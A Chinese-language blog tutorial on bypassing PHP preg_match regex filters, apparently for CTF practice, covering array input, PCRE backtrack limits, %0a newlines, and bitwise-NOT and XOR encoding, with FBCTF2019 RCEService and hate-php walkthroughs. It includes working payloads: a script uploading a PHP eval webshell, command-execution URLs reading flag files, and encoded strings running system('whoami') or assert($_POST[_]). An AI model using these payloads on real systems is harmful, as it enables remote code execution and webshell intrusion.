绕过 Preg_match 函数的方法总结


29175135552385

[toc]

Preg_match 函数介绍

常规绕过方法

1. 数组绕过

preg_match只能处理字符串,当传入的subject是数组时会返回false。

2. PCRE回溯次数限制

PHP利用PCRE回溯次数限制绕过某些安全限制

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

pcre.backtrack_limit给pcre设定了一个回溯次数上限,默认为1000000,如果回溯次数超过这个数字,preg_match会返回false

3. 换行符(\n或%0a)

.不会匹配换行符(\n),如(考的很多)

if (preg_match('/^.*(flag).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
}

要求不能在中间位置匹配到flag,但这里preg_match()函数只能匹配一行即第一行数据,我们只需要:

$json="%0aflag%0a"$json="%0aflag"

就能绕过。

而在非多行模式下,$似乎会忽略在句尾的%0a(考的很多)

if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
    echo $flag;
}

要求必须等于flag,但a又不能传入flag。我们只需要传入

?a=flag%0a

由于在字符串中换行可以表示字符串的结尾,所以可以用%0a(换行符的url编码)绕过。

实战:[FBCTF2019]RCEService

进入题目:

说是要求用json格式传送payload。

我们尝试ls命令:{"cmd":"ls"}

如上图,竟然成功了,而且发现了index.php文件。

但是读取flag的时候被检测了:

据说当时题目给出了index.php的源码:

<?php

putenv('PATH=/home/rceservice/jail');   // 配置系统环境变量

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

这里他用的是preg_match()函数,是preg_match('/^.*(xxx).*$/', $json)这种格式,只匹配了一行,用个换行符就能绕过了:

?cmd={%0a"cmd": "ls /"%0a}
// 一定要在url中输入,不然%0a会被url编码的

preg_match只能匹配第一行的数据(注:如果我们要匹配所有的数据可以使用preg_match_all函数)所以这里我们可以采取多行绕过的方式,就要用到换行符 %0a

并未发现flag。

而源码告诉了路径 putenv('PATH=/home/rceservice/jail');,看看这个路径下面都有什么

?cmd={%0a"cmd":"ls /home/rceservice/jail"%0a}

现在知道了,之前能用ls的原因是因为ls的二进制文件放在这个目录下。

我们在/home/rceservice目录下发现了flag:

尝试读取flag:

这里要注意,由于代码中有:putenv('PATH=/home/rceservice/jail');,即把jail应用于当前环境,jail里面有ls,所以我们可以直接使用ls命令,但是jail里面并没有cat命令,所以我们直接使用cat是不对的:

?cmd={%0a"cmd":"cat /home/rceservice/flag"%0a}

如下图,什么输出都没有:

所以我们可以直接拉出cat的路径,即/bin/cat

?cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}

得到flag。

还有一种方法是用PCRE回溯次数限制来绕过preg_match函数:

详情见:《PHP利用PCRE回溯次数限制绕过某些安全限制》

pcre.backtrack_limit给pcre设定了一个回溯次数上限,默认为1000000,如果回溯次数超过这个数字,preg_match会返回false,我们的目的也是让代码中的preg_match返回false,使其执行命令。

payload如下:

import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://6c847019-d663-4b24-a558-33b845e3034b.node3.buuoj.cn/", data={"cmd":payload})
#print(payload)
print(res.text)

正则绕过方法(重点)

URL编码取反绕过(最简单的、最常考的)

注意:该方法只适用于PHP7。核心即对想要传入的参数,先进行URL解码再取反。

测试代码:

<?php
highlight_file(__FILE__);
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
if(preg_match('/[a-z0-9]/is',$_GET['shell'])){
    echo "Hacker!!!";
}else{
    eval($_GET['shell']);
}
?>

例如传入构造一个phpinfo();(生成payload的时候先取反再URL编码),注意这里是eval()所以要加分号,而assert()就不用了。

由于因为没有过滤 (),所以只需要取反编码phpinfo就行:

image-20200913172757390

得到取反后并进行url编码的phpinfo,执行并成功:

http://127.0.0.1/test.php?shell=(~%27%8F%97%8F%96%91%99%90%27)();

phpinfo()是没有参数的,如果需要执行有参数的函数,比如system("whoami");,则应分别对其中的字符进行编码:

php -r "echo urlencode(~('whoami'));"这里要对'whoami'进行编码,加上一个括号为的是对里面的单引号进行编码

执行:

http://127.0.0.1/test.php?shell=(~%8C%86%8C%8B%9A%92)((~%88%97%90%9E%92%96));

实战例题:2020-第五空间智能安全大赛-Web-hate-php

进入题目,给出源码:

过滤了很多东西,可以看出我们需要从 flag.php 中读取出 flag。

最主要的就是绕过这里 $blacklist = get_defined_functions()['internal'];,get_defined_functions()函数它将获取所有已定义的函数,包括内置(internal) 和用户定义的函数。 可通过get_defined_functions()["internal"]来访问系统内置函数, 通过get_defined_functions()["user"]来访问用户自定义函数。

这里把内置函数都加如到了blacklist中 ,我们都不能直接用system、phpinfo()等函数了,我们就需要绕过这个,这里我们可以用上面所讲到的URL编码取反绕过

先使用print_r(scandir('.'))来扫描个目录:(题目过滤了分号;,但用的是assert()执行代码,其不需要分号,所以无影响)

image-20200913175908165

构造payload为:

/?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1)))

image-20200913180513594

接下来我们读取flag.php,使用 readfile('flag.php')highlight_file('flag.php') 来读取flag.php:

image-20200913180805537

构造payload为:

/?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)(~%99%93%9E%98%D1%8F%97%8F)

得到flag:

image-20200913180922986

异或绕过

在PHP中两个字符串异或之后,得到的还是一个字符串。如果正则过滤了一些字符串,那就可以使用两个不在正则匹配范围内的字符串进行异或得到我们想要的字符串。
例如:我们异或 ‘?’ 和 ‘~’ 之后得到的是 ‘A’

image-20200914124409178

原理:

字符:?         ASCII码:63           二进制:  0011 1111‬
字符:~         ASCII码:126          二进制:  0111 1110‬
异或规则:
1   XOR   0   =   1
0   XOR   1   =   1
0   XOR   0   =   0
1   XOR   1   =   0
上述两个字符异或得到 二进制:  0100 0001
该二进制的十进制也就是:65
对应的ASCII码是:A

几个位运算符:
可以把1理解为真,0理解为假;那么就可以把“&”理解为“与”,“|”理解为“或”;而对于“^”则是相同为就0,不同就为1。“~”为取反操作。

两个字符异或可以得到一个字符,下一个问题就是如何控制得到我们想要的字符

测试代码:

<?php
highlight_file(__FILE__);
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
if(preg_match('/[a-z0-9]/is',$_GET['shell'])){
    echo "Hacker!!!";
}else{
    eval($_GET['shell']);
}
?>

当然这里直接传入数组就能绕过。
这里的正则过滤了所有26个字母大小写,如果我想要传入一个 eval($_POST[_]);就需要异或得到这个eval($_POST[_]);字符串
那么如何知道哪两个字符异或可以得到我们想要的字符,就比如如何得到第一个字符 e
笔者这里使用python脚本fuzz测试了一下,脚本如下:

def r_xor():
    for i in range(0,127):
        for j in range(0,127):
            result=i^j
            print("  "+chr(i)+" ASCII:"+str(i)+' <--xor--> '+chr(j)+" ASCII:"+str(j)+' == '+chr(result)+" ASCII:"+str(result))


if __name__ == "__main__":
    r_xor()

这样就可以知道我们想要的字符的对应哪两个字符的异或,只需要找到正则里没有过滤的字符异或得到我们想要的字符。

接着看一下PHITHON师傅的一个payload

看到代码中的下划线“_”、“__”、“___”是一个变量,因为preg_match()过滤了所有的字母,我们只能用下划线来作变量名。

这里PHITHON师傅使用的是 assert($_POST[_]) 在PHP5当中assert()的作用和eval()相似都是执行,但是eval是因为是一个语言构造器而不是一个函数,不能被可变函数调用,所以这种拼接的方法只能用assert()而不能用eval()。只不过eval()只执行符合php编码规范的代码,即必须有分号,PHITHON师傅这里还有就是使用 变量 进行payload拼接,拼接起来payload如下:

$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);

// 密码为“_”

这里传入了?shell=assert($_POST[_]),由于”_“不受限制就可以任意传值了。(这里有一个误区,就是仅传入shell=$_POST[_],这样的确最终代码是eval($_POST[_])了,但当外面的eval执行了之后,就仅剩下一个$_POST[_]了,所以不行。

因为有很多不可打印字符,所以使用url编码表示
然后只需要在POST里面传参

_=phpinfo();       //代码执行

image-20200914130001215

也可以连蚁剑或菜刀了,密码为下划线_。

这个payload经测试PHP 7.0.12及以下版本可以使用,碰到更高的版本可能assert()不能使用了。

在别的地方还看到一位师傅的绕过手法

image-20200914130352205

payload:

?shell=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

解释一下这个师傅的绕过手法:

image-20200914130906971

即:

${_GET}{%ff}();&%ff=phpinfo
//?shell=${_GET}{%ff}();&%ff=phpinfo

任何字符与0xff异或都会取相反,这样就能减少运算量了。
注意:测试中发现,传值时对于要计算的部分不能用括号括起来,因为括号也将被识别为传入的字符串,可以使用{}代替,原因是php的use of undefined constant特性,例如${_GET}{a}这样的语句php是不会判为错误的,因为{}使用来 界定变量 的,这句话就是会将_GET自动看为字符串,也就是$_GET['a']

执行命令:

?shell=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}('whoami');&%ff=system
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}("flag.php");&%ff=readfile
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}("flag.php");&%ff=highlight_file

这里为什么我们不直接将最重要执行的system等函数编码呢,因为只要我们通过编码传入了$_GET,那么后面的我们就可以为所欲为了。


Author: WHOAMI
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source WHOAMI !
评论
  TOC